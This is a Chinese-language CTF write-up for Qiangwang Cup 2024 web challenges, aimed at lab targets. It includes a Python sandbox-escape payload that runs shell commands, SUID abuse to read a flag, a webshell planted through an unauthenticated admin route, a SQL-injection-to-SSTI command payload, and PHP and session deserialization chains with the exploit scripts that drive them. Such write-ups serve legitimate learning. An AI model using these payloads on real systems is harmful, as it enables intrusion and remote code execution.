Skip to content

强网2024wp

约 1742 字大约 6 分钟

CTF

2024-11-04

被Web大神带飞,可惜还是差一些进线下。 image-20241104084010195

PyBlockly

用全角的符号(unicode编码)绕过blacklist_pattern检测,首尾各加一个引号去闭合,my_audit_hook处限制了event_name个数和blacklist,用__builtins__.len=lambda x:0覆盖len为不大于4的数即可

ls一下

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"\n__builtins__﹒len=lambda x:0;__import__('os')﹒system('ls />/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}

image-20241104151357871

直接cat /flag没权限,suid提权

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"\n__builtins__﹒len=lambda x:4;__import__('os')﹒system('find / -user root -perm -4000 -print>/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}

image-20241104151428545

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"\n__builtins__﹒len=lambda x:4;__import__('os')﹒system('/bin/dd if=/flag>/tmp/ukfc')\nprint(open('/tmp/ukfc')﹒read());'"}}]}}

output

xiaohuanxiong

admin路由下可以未授权访问和修改内容,直接写个一句话木马进去,根据源码可以找到这个是写到/config/payment.php里面,可以访问

image-20241104172626274

image-20241104172642204

Snake

写一个脚本去拿到五十分,值得注意的是这里xy坐标颠倒,并且不带cookie的话最后一步会报500错误

snake.py

from http.cookiejar import CookieJar
import json
import time
import requests
from solve import solve

aim_url = "http://eci-2ze762llzxw5u6zlscn4.cloudeci1.ichunqiu.com:5000"

food = [0, 0]
snake = [[0, 0]]
cookies = {"session": "eyJ1c2VybmFtZSI6InVrZmMifQ.ZydfPg.QhNexeoopfDvXfF7C1roaBEWoFQ"}
data = {"username": "test"}

def send_http_json(data):    
    response = requests.post(aim_url + "/move", json=data, cookies=cookies)
    re = response.text
    if "win" in re:
        print(re)
        return {}
    
    try:
        return json.loads(re)  # 尝试解析为 JSON
    except json.JSONDecodeError:
        print("Non-JSON response received:", re)  # 输出非 JSON 响应
        return {}  # 返回空字典或适当处理

data = {"direction": "RIGHT"}
res = send_http_json(data)
if res:  # 检查 res 是否包含内容
    food = res.get("food")
    snake = res.get("snake")
    scor = res.get("score", 0)

    ans = ''
    data = {"direction": "RIGHT"}

    while ans != 'game_over' and ans != 'win':
        print("Food position:", food)
        print("Snake position:", snake)
        funclist = solve(snake, food)

        print("Total steps:", len(funclist))
        cnt = 1
        for i in funclist:
            if scor == 49:
                print(res)
            print("\r                      ", end="")
            data.update({"direction": i})
            res = send_http_json(data)
            if not res:
                print("Empty or invalid response, terminating.")
                break
            ans = res.get('status', '')
            print("\rStep:", cnt, end="")
            cnt += 1
            time.sleep(0.05)

        if "score" in res and res["score"] == scor + 1:
            print("-----------PASS-----------")
            scor += 1
            print("Score:", scor)
            food = res["food"]
            snake = res["snake"]
        else:
            print("-----------ERROR-----------")
            print(res)
            break

solve.py

from collections import deque

class Snake:
    def __init__(self, snake):
        self.body = deque([])
        for i in snake:
            self.body.append((i[1],i[0]))
        self.length = len(snake)  # 蛇的初始长度
        self.direction = (0, 1)  # 初始方向向上

    def move(self):
        head_x, head_y = self.body[0]
        new_head = (head_x + self.direction[0], head_y + self.direction[1])
        self.body.appendleft(new_head)  # 在头部插入新的位置

        # 如果蛇没有吃到食物,删除尾部
        if len(self.body) > self.length:
            self.body.pop()  # 删除尾部

    def change_direction(self, new_direction):
        # 确保方向不能直接反转
        if (self.direction[0] + new_direction[0] != 0) or (self.direction[1] + new_direction[1] != 0):
            self.direction = new_direction

    def grow(self):
        self.length += 1  # 增长蛇的长度

    def get_body(self):
        return list(self.body)

    def get_head(self):
        return self.body[0]

DIRECTIONS=[(0, 1), (1, 0), (0, -1), (-1, 0)]

def is_valid_move(snake_body, new_pos, grid_size):
    return (0 <= new_pos[0] < grid_size[0] and 
            0 <= new_pos[1] < grid_size[1] and 
            new_pos not in snake_body)  # 不碰撞自身

def bfs_path_planning(snake, target, grid_size):
    queue = deque([snake.get_head()])
    visited = set(snake.get_body())
    parent = {snake.get_head(): None}

    while queue:
        current = queue.popleft()

        if current == target:
            path = []
            while current is not None:
                path.append(current)
                current = parent[current]
            return path[::-1]  # 返回反向路径

        for direction in DIRECTIONS:  # 四个方向
            new_pos = (current[0] + direction[0], current[1] + direction[1])
            if is_valid_move(snake.get_body(), new_pos, grid_size) and new_pos not in visited:
                visited.add(new_pos)
                parent[new_pos] = current
                queue.append(new_pos)

    return None  # 找不到路径
def add(a,b):
    return (a[0]+b[0],a[1]+b[1])
# 示例使用
def solve(snakelist , foodlist):
    grid_size = (20, 20)  # 网格大小
    snake = Snake(snakelist)
    
    target = (foodlist[1],foodlist[0])

    # 计算路径
    path = bfs_path_planning(snake, target, grid_size)
    # 打印结果
    if path:
        print("找到路径:")
        for i in path:
            print("[",i[1],",",i[0],"]",sep="",end=",")
        print()
    else:
        print("没有找到路径")
    funclist = []
    for i in range(len(path)-1):
        if (add(path[i],DIRECTIONS[0]) == path[i+1]):
            funclist.append("RIGHT")
        elif(add(path[i],DIRECTIONS[1]) == path[i+1]):
            funclist.append("DOWN")
        elif(add(path[i],DIRECTIONS[2]) == path[i+1]):
            funclist.append("LEFT")
        elif(add(path[i],DIRECTIONS[3]) == path[i+1]):
            funclist.append("UP")
    return funclist
if __name__ =="__main__":
    foodlist=[3, 3]
    snakelist=[[9, 10], [9, 11], [9, 12], [9, 13], [10, 13], [11, 13], [12, 13], [12, 12], [12, 11], [12, 10], [12, 9], [12, 8], [11, 8], [10, 8], [9, 8], [8, 8], [8, 9], [8, 10], [8, 11], [8, 12], [8, 13], [8, 14], [8, 15], [8, 16], [8, 17], [7, 17], [6, 17], [6, 18], [7, 18], [8, 18]]
    solve(snakelist , foodlist)

image-20241104172757803

爆出来路由/snake_win?username=,一眼注入,Sqli to SSTI

image-20241104172820591

/snake_win?username=1'+union+select+1,2,"{{self.__init__.__globals__.__builtins__['__import__']('os').popen('cat+/flag').read()}}"--+

image-20241104172840934

image-20241104172902024

Password Game

import requests

headers = {
    'Host': 'eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua': '"Google Chrome";v="118", "Chromium";v="118", "Not=A?Brand";v="24"',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/index.php',
    'Origin': 'http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com',
    'Priority': 'u=0, i',
    'Cookie': 'PHPSESSID=tuonq8vj283dhvvbi6cke0dkjo',
    'sec-ch-ua-platform': '"Windows"',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Upgrade-Insecure-Requests': '1',
}

data2 = {'password': 'Aa917855555'}
response2 = requests.post('http://eci-2zefw3uhdtlgt08uk50f.cloudeci1.ichunqiu.com/game.php', headers=headers, data=data2)

raw_content = response2.content
print("Raw response content:", raw_content)

拿到源码

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}
password=O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"2024\71wb";s:8:"password";N;s:5:"value";N;}s:5:"value";R:3;}88831883250887

image-20241104172919123

platform

爆破目录,发现www.zip,解压之后拿到源代码。

对源代码进行分析之后,考虑利用点应该是session反序列化。

在class.php当中发现后门类

image-20241104173025310

在本地调试,观察session序列化字符串的结构。

image-20241104173038359

考虑,将password部分写入反序列化利用链,触发后门函数。

例如,在password当中输入。

";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami;";}

这时,本地session将变成。

user|s:5:"admin";session_key|s:35:"bnKNfuoXL233EOPFgJXs54nSzl4dkJNK754";password|s:88:"";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami;";}";

要想写入的内容在反序列化时被触发,这要构造username当中的内容实现字符逃逸,将无关字符作为username当中的内容,而把后边的利用链逃逸出来。

image-20241104173058596

无关内容,如上所示,然后计算无关内容的长度,借助函数当中过滤掉的关键词进行逃逸。

但是,在靶机当中会生成一个长度随机的session_key作为干扰,但是session_key的长度处于1-50之间,因此我们可以假定session_key的长度,而后进行爆破。

 import requests
data = {
  'username':'systemsystemsystemsystemsystemsystemsystemsystempopenpopen',
  #'password': '''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:14:"echo whoami;";}''',
  #'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo ls /;";}'''
  'password':'''";password|s:74:"";password|O:15:"notouchitsclass":1:{s:4:"data";s:17:"echo /readflag;";}'''
}

while True:
    s = requests.session()
    r1 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php', data=data, allow_redirects=False)
    r2 = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/index.php',  data=data,allow_redirects=False)
    r = s.post('http://eci-2zeikei7c3gbho55bk76.cloudeci1.ichunqiu.com/dashboard.php', allow_redirects=False)
    print(r.text)

image-20241104173117532

image-20241104173132581